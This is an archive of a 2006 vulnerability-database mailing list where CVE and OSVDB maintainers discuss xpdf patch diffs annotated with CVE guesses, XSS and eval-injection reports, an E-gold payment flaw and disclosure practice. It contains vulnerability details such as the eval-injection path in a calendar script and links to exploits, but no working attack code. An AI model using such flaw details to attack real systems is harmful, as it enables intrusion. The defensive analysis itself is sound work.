Message-ID: While investigating this issue further, I found that the Request_Name_Display parameter in the same affected script has an XSS issue (probably reflected instead of stored). I didn't look any further. Specifically: Request_Name_Display=LSSFAX generates a pretty big-lookin cookie. - Steve From coley at linus.mitre.org Wed Mar 15 13:11:39 2006 From: coley at linus.mitre.org (Steven M. Christey) Date: Wed, 15 Mar 2006 13:11:39 -0500 (EST) Subject: [VIM] *pdf - new issues or old? In-Reply-To: References: Message-ID: I've done some followup work on this. See below. In brief, I agree with the BID/OSVDB decisions to create a new item for "unspecified" vulns, although it's not 100% sure whether there are really new vulns or not. - Steve ============================= OK, Due to a serious, temporary lack of judgment, I decided to do some diff digging for DEBIAN:DSA-979 to see if the pdfkit.framework/xpdf patches include anything beyond what's already been covered in xpdf. I used this: http://security.debian.org/pool/updates/main/p/pdfkit.framework/pdfkit.framework_0.8-2sarge3.diff.gz Below are all the relevant diffs, minus all the extra cruft like makefile changes, etc. My notes start with "[*** SMC" This is an informal, diff-only analysis with a bit of guesswork. That said, these diffs do appear to include some security-relevant changes that do not have associated CVEs, but: - some could be defensive in nature (e.g. gmem.c changes) - the developer might have fixed some issues simultaneously with a particular CVE, although only one particular issue might have been mentioned (CVE-2005-3192 is an example) - some code might not be user-triggerable Finally: if you want to do some followup analysis, the diff's for gpdf (DSA-982) were more closely labeled with CVE or CAN numbers, which might help resolve some of the open questions I have below. At the moment I'm out of time to do more. - Steve ================================================================== ================================================================== Name: CVE-2006-1244 Status: Candidate URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1244 Reference: DEBIAN:DSA-979 Reference: URL:http://www.debian.org/security/2006/dsa-979 Reference: MISC:http://security.debian.org/pool/updates/main/p/pdfkit.framework/pdfkit.framework_0.8-2sarge3.diff.gz Reference: DEBIAN:DSA-982 Reference: URL:http://www.debian.org/security/2006/dsa-982 Reference: DEBIAN:DSA-983 Reference: URL:http://www.debian.org/security/2006/dsa-983 Reference: DEBIAN:DSA-984 Reference: URL:http://www.debian.org/security/2006/dsa-984 Reference: BID:16748 Reference: URL:http://www.securityfocus.com/bid/16748 Reference: OSVDB:23834 Reference: URL:http://www.osvdb.org/23834 Unspecified vulnerability in certain versions of xpdf after 3.00, as used in various products including (a) pdfkit.framework, (b) gpdf, (c) pdftohtml, has unknown impact and user-complicit attack vectors, possibly involving errors in (1) gmem.c, (2) SplashXPathScanner.cc, (3) JBIG2Stream.cc, (4) JPXStream.cc, and/or (5) Stream.cc. NOTE: this description is based on Debian advisory DSA 979, which is based on changes that were made after other vulnerabilities such as CVE-2006-0301 and CVE-2005-3624 through CVE-2005-3628 were fixed. Some of these newer fixes appear to be security-relevant, although it is not clear if they fix specific issues or are defensive in nature. ================================================================== ================================================================== Diffs ================================================================== ================================================================== --- pdfkit.framework-0.8.orig/xpdf/xpdf-3.00/goo/gmem.c +++ pdfkit.framework-0.8/xpdf/xpdf-3.00/goo/gmem.c @@ -11,6 +11,7 @@ #include #include #include +#include #include "gmem.h" #ifdef DEBUG_MEM @@ -62,7 +63,7 @@ int lst; unsigned long *trl, *p; - if (size == 0) [*** SMC. smells like signedness errors, but maybe it's just a defensive measure? ***] + if (size <= 0) return NULL; size1 = gMemDataSize(size); if (!(mem = (char *)malloc(size1 + gMemHdrSize + gMemTrlSize))) { @@ -84,7 +85,7 @@ #else void *p; - if (size == 0) + if (size <= 0) return NULL; if (!(p = malloc(size))) { fprintf(stderr, "Out of memory\n"); @@ -100,7 +101,7 @@ void *q; int oldSize; - if (size == 0) { + if (size <= 0) { if (p) gfree(p); return NULL; @@ -118,7 +119,7 @@ #else void *q; - if (size == 0) { + if (size <= 0) { if (p) free(p); return NULL; --- pdfkit.framework-0.8.orig/xpdf/xpdf-3.00/splash/Splash.cc +++ pdfkit.framework-0.8/xpdf/xpdf-3.00/splash/Splash.cc @@ -734,6 +734,10 @@ SplashMono1P *mono1; SplashBGR8P *bgr8; [*** SMC. Likely CVE-2006-0301 ***] + if ( (unsigned) x >= (unsigned) bitmap->getWidth() || + (unsigned) y >= (unsigned) bitmap->getHeight()) + return; + if (noClip || state->clip->test(x, y)) { color = pattern->getColor(x, y); switch (bitmap->mode) { @@ -771,6 +775,11 @@ SplashMono1 mask1; int i, j, n; + if ((unsigned) x0 >= (unsigned) bitmap->getWidth() || + (unsigned) x1 >= (unsigned) bitmap->getWidth() || + (unsigned) y >= (unsigned) bitmap->getHeight()) + return; + n = x1 - x0 + 1; switch (bitmap->mode) { @@ -858,6 +867,11 @@ n = x1 - x0 + 1; + if ((unsigned) x0 >= (unsigned) bitmap->getWidth() || + (unsigned) x1 >= (unsigned) bitmap->getWidth() || + (unsigned) y >= (unsigned) bitmap->getHeight()) + return; + switch (bitmap->mode) { case splashModeMono1: mono1 = &bitmap->data.mono8[y * bitmap->rowSize + (x0 >> 3)]; --- pdfkit.framework-0.8.orig/xpdf/xpdf-3.00/splash/SplashXPathScanner.cc +++ pdfkit.framework-0.8/xpdf/xpdf-3.00/splash/SplashXPathScanner.cc @@ -182,7 +182,7 @@ } [*** SMC. I didn't look closely at this patch to determine if there is any security relevance. need more context. ***] void SplashXPathScanner::computeIntersections(int y) { - SplashCoord ySegMin, ySegMax, xx0, xx1; + SplashCoord xSegMin, xSegMax, ySegMin, ySegMax, xx0, xx1; SplashXPathSeg *seg; int i, j; @@ -232,19 +232,27 @@ } else if (seg->flags & splashXPathVert) { xx0 = xx1 = seg->x0; } else { - if (ySegMin <= y) { - // intersection with top edge - xx0 = seg->x0 + (y - seg->y0) * seg->dxdy; + if (seg->x0 < seg->x1) { + xSegMin = seg->x0; + xSegMax = seg->x1; } else { - // x coord of segment endpoint with min y coord - xx0 = (seg->flags & splashXPathFlip) ? seg->x1 : seg->x0; + xSegMin = seg->x1; + xSegMax = seg->x0; } - if (ySegMax >= y + 1) { - // intersection with bottom edge - xx1 = seg->x0 + (y + 1 - seg->y0) * seg->dxdy; - } else { - // x coord of segment endpoint with max y coord - xx1 = (seg->flags & splashXPathFlip) ? seg->x0 : seg->x1; + // intersection with top edge + xx0 = seg->x0 + ((SplashCoord)y - seg->y0) * seg->dxdy; + // intersection with bottom edge + xx1 = seg->x0 + ((SplashCoord)y + 1 - seg->y0) * seg->dxdy; + // the segment may not actually extend to the top and/or bottom edges + if (xx0 < xSegMin) { + xx0 = xSegMin; + } else if (xx0 > xSegMax) { + xx0 = xSegMax; + } + if (xx1 < xSegMin) { + xx1 = xSegMin; + } else if (xx1 > xSegMax) { + xx1 = xSegMax; } } if (xx0 < xx1) { --- pdfkit.framework-0.8.orig/xpdf/xpdf-3.00/xpdf/JBIG2Stream.cc +++ pdfkit.framework-0.8/xpdf/xpdf-3.00/xpdf/JBIG2Stream.cc @@ -13,6 +13,7 @@ #endif #include +#include #include "GList.h" #include "Error.h" #include "JArithmeticDecoder.h" @@ -681,7 +682,14 @@ w = wA; h = hA; line = (wA + 7) >> 3; [*** SMC. might have been fixed simultaneously with JBIG2Bitmap (see below). ***] - data = (Guchar *)gmalloc(h * line); + + if (w <= 0 || h <= 0 || line <= 0 || h >= (INT_MAX - 1) / line) + data = NULL; + else { + // need to allocate one extra guard byte for use in combine() + data = (Guchar *)gmalloc(h * line + 1); + data[h * line] = 0; + } } JBIG2Bitmap::JBIG2Bitmap(Guint segNumA, JBIG2Bitmap *bitmap): @@ -690,8 +698,15 @@ w = bitmap->w; h = bitmap->h; line = bitmap->line; - data = (Guchar *)gmalloc(h * line); [*** SMC. Possibly CVE-2005-3628 ***] + + if (h < 0 || line <= 0 || h >= (INT_MAX-1) / line) { + data = NULL; + return; + } + + data = (Guchar *)gmalloc(h * line + 1); memcpy(data, bitmap->data, h * line); + data[h * line] = 0; } JBIG2Bitmap::~JBIG2Bitmap() { @@ -716,10 +731,10 @@ } void JBIG2Bitmap::expand(int newH, Guint pixel) { - if (newH <= h) { + if (newH <= h || line <= 0 || newH >= (INT_MAX-1) / line) { return; } [*** SMC. off-by-one overflow? or maybe this is really where CVE-2005-3628 belongs? ***] - data = (Guchar *)grealloc(data, newH * line); + data = (Guchar *)grealloc(data, newH * line + 1); if (pixel) { memset(data + h * line, 0xff, (newH - h) * line); } else { @@ -2246,6 +2261,15 @@ goto eofError; } [*** SMC. sanity checking for integer overflow? rolled together with CVE-2005-3628 ? ***] + if (w == 0 || h == 0 || w >= INT_MAX / h) { + error(getPos(), "Bad bitmap size in JBIG2 halftone segment"); + return; + } + if (gridH == 0 || gridW >= INT_MAX / gridH) { + error(getPos(), "Bad grid size in JBIG2 halftone segment"); + return; + } + // get pattern dictionary if (nRefSegs != 1) { error(getPos(), "Bad symbol dictionary reference in JBIG2 halftone segment"); @@ -2256,6 +2280,16 @@ error(getPos(), "Bad symbol dictionary reference in JBIG2 halftone segment"); return; } + + if (gridH == 0 || gridW >= INT_MAX / gridH) { + error(getPos(), "Bad size in JBIG2 halftone segment"); + return; + } + if (w == 0 || h >= INT_MAX / w) { + error(getPos(), "Bad size in JBIG2 bitmap segment"); + return; + } + patternDict = (JBIG2PatternDict *)seg; bpp = 0; i = 1; @@ -2887,6 +2921,9 @@ JBIG2BitmapPtr tpgrCXPtr0, tpgrCXPtr1, tpgrCXPtr2; int x, y, pix; + if (w < 0 || h <= 0 || w >= INT_MAX / h) + return NULL; + bitmap = new JBIG2Bitmap(0, w, h); bitmap->clearToZero(); --- pdfkit.framework-0.8.orig/xpdf/xpdf-3.00/xpdf/JPXStream.cc +++ pdfkit.framework-0.8/xpdf/xpdf-3.00/xpdf/JPXStream.cc @@ -7,6 +7,7 @@ //======================================================================== #include +#include #ifdef USE_GCC_PRAGMAS #pragma implementation @@ -666,7 +667,7 @@ int segType; GBool haveSIZ, haveCOD, haveQCD, haveSOT; Guint precinctSize, style; - Guint segLen, capabilities, comp, i, j, r; + Guint segLen, capabilities, nTiles, comp, i, j, r; //----- main header haveSIZ = haveCOD = haveQCD = haveSOT = gFalse; @@ -701,7 +702,19 @@ / img.xTileSize; img.nYTiles = (img.ySize - img.yTileOffset + img.yTileSize - 1) / img.yTileSize; [*** SMC. smells like CVE-2005-3193 ***] - img.tiles = (JPXTile *)gmalloc(img.nXTiles * img.nYTiles * + // check for overflow before allocating memory + if (img.nXTiles <= 0 || img.nYTiles <= 0 || + img.nXTiles >= INT_MAX/img.nYTiles) { + error(getPos(), "Bad tile count in JPX SIZ marker segment"); + return gFalse; + } + nTiles = img.nXTiles * img.nYTiles; + // check for overflow before allocating memory + if (nTiles == 0 || nTiles >= INT_MAX/sizeof(JPXTile)) { + error(getPos(), "Bad tile count in JPX SIZ marker segment"); + return gFalse; + } + img.tiles = (JPXTile *)gmalloc(nTiles * sizeof(JPXTile)); for (i = 0; i < img.nXTiles * img.nYTiles; ++i) { img.tiles[i].tileComps = (JPXTileComp *)gmalloc(img.nComps * --- pdfkit.framework-0.8.orig/xpdf/xpdf-3.00/xpdf/Stream.cc +++ pdfkit.framework-0.8/xpdf/xpdf-3.00/xpdf/Stream.cc @@ -15,6 +15,7 @@ #include #include #include +#include #ifndef WIN32 #include #endif @@ -407,18 +408,41 @@ StreamPredictor::StreamPredictor(Stream *strA, int predictorA, int widthA, int nCompsA, int nBitsA) { + int totalBits; + str = strA; predictor = predictorA; width = widthA; nComps = nCompsA; nBits = nBitsA; + predLine = NULL; + ok = gFalse; [*** SMC. possibly CVE-2005-3192, but I thought that was for a "numComps" issue (see below). Possible analysis error in CVE-2005-3192. or maybe this is CVE-2005-3627 item (1) ***] + if (width <= 0 || nComps <= 0 || nBits <= 0 || + nComps >= INT_MAX/nBits || + width >= INT_MAX/nComps/nBits) { + return; + } nVals = width * nComps; + if (nVals + 7 <= 0) { + return; + } + totalBits = nVals * nBits; + if (totalBits == 0 || + (totalBits / nBits) / nComps != width || + totalBits + 7 < 0) { + return; + } pixBytes = (nComps * nBits + 7) >> 3; - rowBytes = ((nVals * nBits + 7) >> 3) + pixBytes; + rowBytes = ((totalBits + 7) >> 3) + pixBytes; + if (rowBytes < 0) { + return; + } predLine = (Guchar *)gmalloc(rowBytes); memset(predLine, 0, rowBytes); predIdx = rowBytes; + + ok = gTrue; } StreamPredictor::~StreamPredictor() { @@ -1012,6 +1036,10 @@ FilterStream(strA) { if (predictor != 1) { pred = new StreamPredictor(this, predictor, columns, colors, bits); + if (!pred->isOk()) { + delete pred; + pred = NULL; + } } else { pred = NULL; } @@ -1260,6 +1288,12 @@ endOfLine = endOfLineA; byteAlign = byteAlignA; columns = columnsA; + + if (columns + 4 < 1 || (columns + 4) >= INT_MAX / sizeof(short)) { + error(getPos(), "Bad number of columns in CCITTFaxStream"); + exit(1); + } + rows = rowsA; endOfBlock = endOfBlockA; black = blackA; @@ -2897,6 +2931,11 @@ height = read16(); width = read16(); numComps = str->getChar(); [*** SMC. possibly CVE-2005-3627 item (1), or maybe CVE-2005-3192 ***] + if (numComps <= 0 || numComps > 4) { + numComps = 0; + error(getPos(), "Bad number of components in DCT stream", prec); + return gFalse; + } if (prec != 8) { error(getPos(), "Bad DCT precision %d", prec); return gFalse; @@ -2923,6 +2962,11 @@ height = read16(); width = read16(); numComps = str->getChar(); + if (numComps <= 0 || numComps > 4) { + numComps = 0; + error(getPos(), "Bad number of components in DCT stream"); + return gFalse; + } if (prec != 8) { error(getPos(), "Bad DCT precision %d", prec); return gFalse; @@ -2945,6 +2989,11 @@ length = read16() - 2; scanInfo.numComps = str->getChar(); [*** SMC. possibly CVE-2005-3627 item (3) ***] + if (scanInfo.numComps <= 0 || scanInfo.numComps > 4) { + scanInfo.numComps = 0; + error(getPos(), "Bad number of components in DCT stream"); + return gFalse; + } --length; if (length != 2 * scanInfo.numComps + 3) { error(getPos(), "Bad DCT scan info block"); @@ -3019,12 +3068,12 @@ while (length > 0) { index = str->getChar(); --length; [*** SMC. possibly CVE-2005-3627 item (2) ***] - if ((index & 0x0f) >= 4) { + if ((index & ~0x10) >= 4 || (index & ~0x10) < 0) { error(getPos(), "Bad DCT Huffman table"); return gFalse; } if (index & 0x10) { - index &= 0x0f; + index &= 0x03; if (index >= numACHuffTables) numACHuffTables = index+1; tbl = &acHuffTables[index]; @@ -3255,6 +3304,10 @@ FilterStream(strA) { if (predictor != 1) { pred = new StreamPredictor(this, predictor, columns, colors, bits); + if (!pred->isOk()) { + delete pred; + pred = NULL; + } } else { pred = NULL; } --- pdfkit.framework-0.8.orig/debian/changelog +++ pdfkit.framework-0.8/debian/changelog @@ -0,0 +1,97 @@ +pdfkit.framework (0.8-2sarge3) stable-security; urgency=high + + * Non-maintainer upload by the Security Team + * Backported upstream patch by Derek Noonburg to fix several + vulnerabilities [xpdf/xpdf-3.00/splash/SplashXPathScanner.cc, + xpdf/xpdf-3.00/xpdf/JBIG2Stream.cc, xpdf/xpdf-3.00/xpdf/Stream.h, + xpdf/xpdf-3.00/goo/gmem.c] + + -- Martin Schulze Wed, 15 Feb 2006 08:33:56 +0100 + +pdfkit.framework (0.8-2sarge2) stable-security; urgency=high + + * Non-maintainer upload by the Security Team + * Ported patch to fix buffer overflow [splash/Splash.cc, CVE-2006-0301] + + -- Martin Schulze Sat, 4 Feb 2006 17:45:01 +0100 + +pdfkit.framework (0.8-2sarge1) stable-security; urgency=high + + * Non-maintainer upload by the Security Team + * Applied the patch to fix several buffer overflows + [xpdf-3.00/xpdf/JBIG2Stream.cc, xpdf-3.00/xpdf/JBIG2Stream.cc, + xpdf-3.00/xpdf/Stream.cc, xpdf-3.00/xpdf/Stream.h, CVE-2005-3191, + CVE-2005-3193] + [*** SMC. rest of changelog deleted. ***] From coley at linus.mitre.org Wed Mar 15 19:18:12 2006 From: coley at linus.mitre.org (Steven M. Christey) Date: Wed, 15 Mar 2006 19:18:12 -0500 (EST) Subject: [VIM] *pdf - new issues or old? In-Reply-To: References: Message-ID: OK... Red Hat noticed the new candidate and passed that onto vendor-sec, and I sent vendor-sec the details of my analysis. First comment has been that it looks like everything had been covered by other CVEs or were defensive tactics. Hold onto your hats... - Steve From jericho at attrition.org Thu Mar 16 00:15:20 2006 From: jericho at attrition.org (security curmudgeon) Date: Thu, 16 Mar 2006 00:15:20 -0500 (EST) Subject: [VIM] *pdf - new issues or old? In-Reply-To: References: Message-ID: : OK... Red Hat noticed the new candidate and passed that onto vendor-sec, : and I sent vendor-sec the details of my analysis. First comment has : been that it looks like everything had been covered by other CVEs or : were defensive tactics. Hold onto your hats... At the conclusion, make sure you scold / remind them about the purpose of CVE, and avoiding such hassles in the future. From jericho at attrition.org Thu Mar 16 06:39:06 2006 From: jericho at attrition.org (security curmudgeon) Date: Thu, 16 Mar 2006 06:39:06 -0500 (EST) Subject: [VIM] Vulnerability fixed in E-gold (fwd) Message-ID: I know the VDB's don't track site specific bugs for the most part, but this is certainly interesting for many reasons. While OSVDB doesn't currently track site specific issues, I personally keep notes/info on them. We have discussed various ways to integrate the information into the database, so the information is available in one place, but without really mixing it into the main database. We all agree that keeping it seperate is required, but we also agree that not counting or tracking vulnerabilities in online services that millions of people use and rely on isn't ideal. Vulns in Google, Gmail, Yahoo and others are just as bad as vulns in downloaded apps really. Has anyone else considered doing this in any fashion? What are the pros and cons in your eyes? ---------- Forwarded message ---------- From: 3APA3A <3APA3A at security.nnov.ru> To: full-disclosure at lists.grok.org.uk, bugtraq at securityfocus.com Date: Thu, 16 Mar 2006 01:17:49 +0300 Subject: Vulnerability fixed in E-gold Hello full-disclosure, bugtraq Netsling (shurik.f_(at)_gmail.com) reported vulnerability in E-gold. Vulnerability was reported and fixed in E-gold partner payment script. It was possible to transfer money from E-gold account without knowledge of AccounID/PassPhrase if user is logged on. Vulnerability details can be found at http://bhunter.awardspace.com/vuln-en.html The most interesting thing here is E-gold reaction: 1. Vendor fixed vulnerability within 24 hours. 2. Vendor decided to reward researcher without any request from his side. 3. Vendor gave permission to publish vulnerability information. Just ideal. I hope Microsoft to read this. Vulnerability was found and reported to E-gold by nestling, Web software developer from Russia. Please contact him directly, if you have any questions, because I was only asked to translate and publish this information. -- /3APA3A http://www.security.nnov.ru/ From coley at linus.mitre.org Thu Mar 16 14:59:14 2006 From: coley at linus.mitre.org (Steven M. Christey) Date: Thu, 16 Mar 2006 14:59:14 -0500 (EST) Subject: [VIM] Vulnerability fixed in E-gold (fwd) In-Reply-To: References: Message-ID: On Thu, 16 Mar 2006, security curmudgeon wrote: > I know the VDB's don't track site specific bugs for the most part I'm starting to think that this is a bit of an issue, from the respect of monitoring the space of "all known" vulnerabilities, no matter where they live or how ephemeral they are. It feels like we're missing out on a bit. The existing DBs out there do have good reasons for not tracking these, but it would be a good thing if someone did it. > Has anyone else considered doing this in any fashion? What are the pros > and cons in your eyes? The con would probably be the sheer amount of issues (XSS would be king, and high risk in this context). I imagine there would be high analytical expenses to distinguish a site-specific issue from a problem in a third party package that the site is using. Actually, this expense is starting to show up in CVE, just so we can decide whether or not to include something. The pros would be similar to the pros of disclosure in distributed software, although the same cons would be inherited too. e.g. someone might hear "XSS in Google" and assume there was some major obvious mistake, even if it required a really obscure attack that took advantage of broken browsers and non-standard behavior. I VERY loosely track these kinds of issues if they're posted to Bugtraq, but they're not in any central location. Rather, I don't completely throw away the reference. CVE will be making some internal process changes that might allow this tracking to happen a little more cleanly, but I'm not sure when that would happen. - Steve From jericho at attrition.org Fri Mar 17 07:40:59 2006 From: jericho at attrition.org (security curmudgeon) Date: Fri, 17 Mar 2006 07:40:59 -0500 (EST) Subject: [VIM] vendor ack/fix: Sitekit CMS Message-ID: ---------- Forwarded message ---------- From: Alex Matheson To: moderators at osvdb.org Date: Thu, 16 Mar 2006 15:59:12 -0000 Subject: [OSVDB Mods] Request for removal of entries: 22073 22071 22072 Hi there, I have come across several pages mentioning Cross-Site Scripting Vulnerabilities in our software http://www.osvdb.org/displayvuln.php?osvdb_id= 22073 22071 22072 I would like to notify you that this vulnerability only affected a historical version of our software (v6.6). Sitekit is currently at version 6.9 and the issue was resolved some time ago in version 6.6.1 We have upgraded all of our clients and removed the old version from distribution. Please can you remove the above 3 entries from your database. Let me know if there is any more information I can provide Regards, Alex Matheson Alex Matheson Integration Manager Sitekit Solutions Ltd :::web excellence::: Operations Centre: Bloxham Mill, Barford Road, Banbury, Oxfordshire, OX15 4FF Development Centre: Sitekit House, Broom Place, Portree, Isle of Skye, IV51 9HL t: 0870 1999 991 w:www.sitekit.net e: From coley at mitre.org Sat Mar 18 19:05:35 2006 From: coley at mitre.org (Steven M. Christey) Date: Sat, 18 Mar 2006 19:05:35 -0500 (EST) Subject: [VIM] Source VERIFY - Light Weight Calendar issue is eval injection Message-ID: <200603190005.k2J05ZCH019454@cairo.mitre.org> I did some source code inspection of the Light Weight Calendar issue reported here: http://www.milw0rm.com/exploits/1570 (date parameter to index.php). The issue is due to eval injection in cal.php. index.php merely requires cal.php. calEnter() is called at the top level of cal.php. It calls calOpen(), which sets $date to $_REQUEST['date'], calling calMain() with the $date arugment, which calls calLeftSide with the $date argument, which is inserted into a $s variable, which is then fed directly into eval($s). From coley at mitre.org Sat Mar 18 19:22:15 2006 From: coley at mitre.org (Steven M. Christey) Date: Sat, 18 Mar 2006 19:22:15 -0500 (EST) Subject: [VIM] Vendor ACK for Skull-Splitter Guestbook XSS Message-ID: <200603190022.k2J0MFfL019481@cairo.mitre.org> Reference: eVuln http://evuln.com/vulns/104/summary.html Vendor front page includes an item dated 18. March 2006 that says " A new version of my guestbook script has been released. Aliaksandr Hartsuyeu from http://evuln.com has kindly pointed out a XSS vulnerability which I now believe to have fixed." Note that "Skull-Splitter" does not appear as prominently as the author's real name, Soten Boysen. SkullSplitter appears to be an AIM nick. - Steve From coley at mitre.org Sat Mar 18 20:04:45 2006 From: coley at mitre.org (Steven M. Christey) Date: Sat, 18 Mar 2006 20:04:45 -0500 (EST) Subject: [VIM] Apache log4net issue is a format string Message-ID: <200603190104.k2J14jSt019639@cairo.mitre.org> Whoops, forgot to tell people that the vaguely reported log4net issue is a format string. See CVE's analysis field below. ====================================================== Name: CVE-2006-0743 Status: Candidate URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0743 Acknowledged: yes advisory Announced: 20060309 Flaw: format-string Reference: CONFIRM:http://issues.apache.org/jira/browse/LOG4NET-67 Reference: BID:17095 Reference: URL:http://www.securityfocus.com/bid/17095 Reference: SECUNIA:19241 Reference: URL:http://secunia.com/advisories/19241 Format string vulnerability in LocalSyslogAppender in Apache log4net 1.2.9 might allow remote attackers to cause a denial of service (memory corruption and termination) via unknown vectors. Analysis: ACCURACY: bug type provided by Marcus Meissner via e-mail on March 13, 2006. From coley at mitre.org Sun Mar 19 22:14:57 2006 From: coley at mitre.org (Steven M. Christey) Date: Sun, 19 Mar 2006 22:14:57 -0500 (EST) Subject: [VIM] FrSIRT closes exploit section due to French laws Message-ID: <200603200314.k2K3EvsU022289@cairo.mitre.org> from http://www.frsirt.com/exploits/ "In conformity with applicable French laws prohibiting Full-disclosure, the FrSIRT will no longer distribute exploits and PoCs on its public web site. Public exploits section has thus been definitively closed." However, they still offer the information to subscribers. Wonder if that's a loophole in French law. Sometimes I wonder if vuln DBs are next. - Steve From jericho at attrition.org Tue Mar 21 01:44:41 2006 From: jericho at attrition.org (security curmudgeon) Date: Tue, 21 Mar 2006 01:44:41 -0500 (EST) Subject: [VIM] betaparticle disclosure drama? Message-ID: http://blog.betaparticle.com/template_permalink.asp?id=102 Here's the exploit details but I don't really understand how an "advisory site" with only one exploit listed, could've heard about this only minutes after the hacks occurred. Hmmm...it looks like they're the ones who did the hacking but I'll reserve judgment until this simple coincidence is explained to me. Where did they get the info for this hack? Was it sent to them or did they write it? -- where 'exploit details' links to http://www.nukedx.com/?getxpl=20 From jericho at attrition.org Tue Mar 21 02:59:00 2006 From: jericho at attrition.org (security curmudgeon) Date: Tue, 21 Mar 2006 02:59:00 -0500 (EST) Subject: [VIM] myBloggie vendor ack and humor Message-ID: This is for older issues, not the 2006-03-09 XSS disclosure. http://mybloggie.mywebland.com/index.php?mode=viewid&post_id=17 The humor.. look at the blog comment spam. Not a very good endorsement for the blog software if you can't filter that =) From theall at tenablesecurity.com Tue Mar 21 08:02:19 2006 From: theall at tenablesecurity.com (George A. Theall) Date: Tue, 21 Mar 2006 08:02:19 -0500 Subject: [VIM] betaparticle disclosure drama? In-Reply-To: References: Message-ID: <441FF95B.4090808@tenablesecurity.com> security curmudgeon wrote: > http://blog.betaparticle.com/template_permalink.asp?id=102 > > Here's the exploit details but I don't really understand how an > "advisory site" with only one exploit listed, could've heard about this > only minutes after the hacks occurred. Hmmm...it looks like they're the > ones who did the hacking but I'll reserve judgment until this simple > coincidence is explained to me. Where did they get the info for this > hack? Was it sent to them or did they write it? Looks like the blog author "missed" the fact that nukedx.com site belongs to the same person who submitted the original advisory. This seems odd, though, given that nukedx claims to have notified the vendor. Did he/she just fail to make the connection? I'm also mildly curious about the phrase "after the hacks occurred". Does this mean sites were actually hacked? Or is he/she equating the term hacking with research? George From jericho at attrition.org Tue Mar 21 08:03:31 2006 From: jericho at attrition.org (security curmudgeon) Date: Tue, 21 Mar 2006 08:03:31 -0500 (EST) Subject: [VIM] betaparticle disclosure drama? In-Reply-To: <441FF95B.4090808@tenablesecurity.com> References: <441FF95B.4090808@tenablesecurity.com> Message-ID: : > http://blog.betaparticle.com/template_permalink.asp?id=102 : > : > Here's the exploit details but I don't really understand how an : > "advisory site" with only one exploit listed, could've heard about this : > only minutes after the hacks occurred. Hmmm...it looks like they're the : > ones who did the hacking but I'll reserve judgment until this simple : > coincidence is explained to me. Where did they get the info for this : > hack? Was it sent to them or did they write it? : : Looks like the blog author "missed" the fact that nukedx.com site : belongs to the same person who submitted the original advisory. This : seems odd, though, given that nukedx claims to have notified the vendor. : Did he/she just fail to make the connection? : : I'm also mildly curious about the phrase "after the hacks occurred". : Does this mean sites were actually hacked? Or is he/she equating the : term hacking with research? If you skim through the posts, it sounds like the site was hacked as well as several others, suggesting the nukedx group was responsible due to the timing. Also of interest, someone says their "4.x" version was hacked, meaning we know the vuln affects older versions OR there is a different vulnerability present in the software. From coley at linus.mitre.org Tue Mar 21 12:11:26 2006 From: coley at linus.mitre.org (Steven M. Christey) Date: Tue, 21 Mar 2006 12:11:26 -0500 (EST) Subject: [VIM] betaparticle disclosure drama? In-Reply-To: <441FF95B.4090808@tenablesecurity.com> References: <441FF95B.4090808@tenablesecurity.com> Message-ID: On Tue, 21 Mar 2006, George A. Theall wrote: > I'm also mildly curious about the phrase "after the hacks occurred". I've seen enough vendor forum threads where people get hacked within minutes or hours of someone posting fully functional exploit code. This seems to be how most vendors to find out about vulnerability posts from retrogod, for example. So in this case, you can't necessarily be sure it's nukedx - however I do recall at least one case where someone released an advisory after hacking the affected vendor's site, although I forget the specifics. And since some percentage of people who disclose widely are "black hats," this probably happens on occasion. - Steve From coley at mitre.org Tue Mar 21 14:41:57 2006 From: coley at mitre.org (Steven M. Christey) Date: Tue, 21 Mar 2006 14:41:57 -0500 (EST) Subject: [VIM] Red Hat security engineer lists sources of vulnerabilities Message-ID: <200603211941.k2LJfvOk007810@cairo.mitre.org> Mark Cox of Red Hat has published a blog entry that lists Red Hat's sources for how they learned about vulnerabilities in their products: http://www.awe.com/mark/blog/security/200603211056.html Note his disclaimer that "we only list the first place we found out about an issue, and for already-public issues this may be arbitrary." Still, it's an interesting breakdown, and it would be nice to see how other vendors learn of issues. - Steve From coley at linus.mitre.org Tue Mar 21 17:34:54 2006 From: coley at linus.mitre.org (Steven M. Christey) Date: Tue, 21 Mar 2006 17:34:54 -0500 (EST) Subject: [VIM] Knowledgebases Remote Command Exucetion In-Reply-To: <44053867.1010800@securityglobal.net> References: <20060227123040.18672.qmail@securityfocus.com> <44053867.1010800@securityglobal.net> Message-ID: On Wed, 1 Mar 2006, Stuart Moore wrote: > In searching back further, it seems that Zero X reported this issue > [CVE-2003-1131] to Bugtraq in December 2003: > http://www.securityfocus.com/archive/1/348359 > But, Zero X's report mentions only KnowledgeBuilder and not any of the > other products. > > Would this warrant a new CVE for the newly identified products? Or a > modification to the CVE-2003-1131 entry? Sorry I didn't respond earlier, this one slipped by me. This is an area where we probably haven't been consistent. However, over the past year or so, I've generally done a SPLIT for distinct disclosures by different researchers. We can't necessarily know for sure if some of the newer products were even in existence back in 2003 (well, without some deeper research.) So, a new CVE will be created. The question is, how many new CVEs? Another area I've been struggling with lately is how to handle when the same issue - same attack vector and everything - occurs in multiple products by the same vendor. My current feeling (and that's all it is) is that if the products are clearly separable and don't obviously share any common library or the like, then I'll SPLIT them. So, this particular case requires even more analysis in order to determine the relationships between the different products. - Steve From jericho at attrition.org Tue Mar 21 18:38:23 2006 From: jericho at attrition.org (security curmudgeon) Date: Tue, 21 Mar 2006 18:38:23 -0500 (EST) Subject: [VIM] Knowledgebases Remote Command Exucetion In-Reply-To: References: <20060227123040.18672.qmail@securityfocus.com> <44053867.1010800@securityglobal.net> Message-ID: : The question is, how many new CVEs? Another area I've been struggling : with lately is how to handle when the same issue - same attack vector : and everything - occurs in multiple products by the same vendor. My : current feeling (and that's all it is) is that if the products are : clearly separable and don't obviously share any common library or the : like, then I'll SPLIT them. That is our criteria, but due to lack of code access is somewhat subjective. If OSVDB feels that the same codebase was used in multiple products, they get the same ID usually. If it was different code or very likely different, they get split. One time we deviate is in protocol implementation. The ISAKMP (or any other PROTOS based disclosures) for example, got a couple entries (DoS and unspecified) for all products, because it seems everyone implemented it equally wrong. From jericho at attrition.org Wed Mar 22 01:42:10 2006 From: jericho at attrition.org (security curmudgeon) Date: Wed, 22 Mar 2006 01:42:10 -0500 (EST) Subject: [VIM] Nortel advisory URL humor Message-ID: http://www130.nortelnetworks.com/cgi-bin/eserv/cs/main.jsp?cscat=BLTNDETAIL&DocumentOID=391523&RenditionID= "RenditionID"? Given the definition of 'rendition', 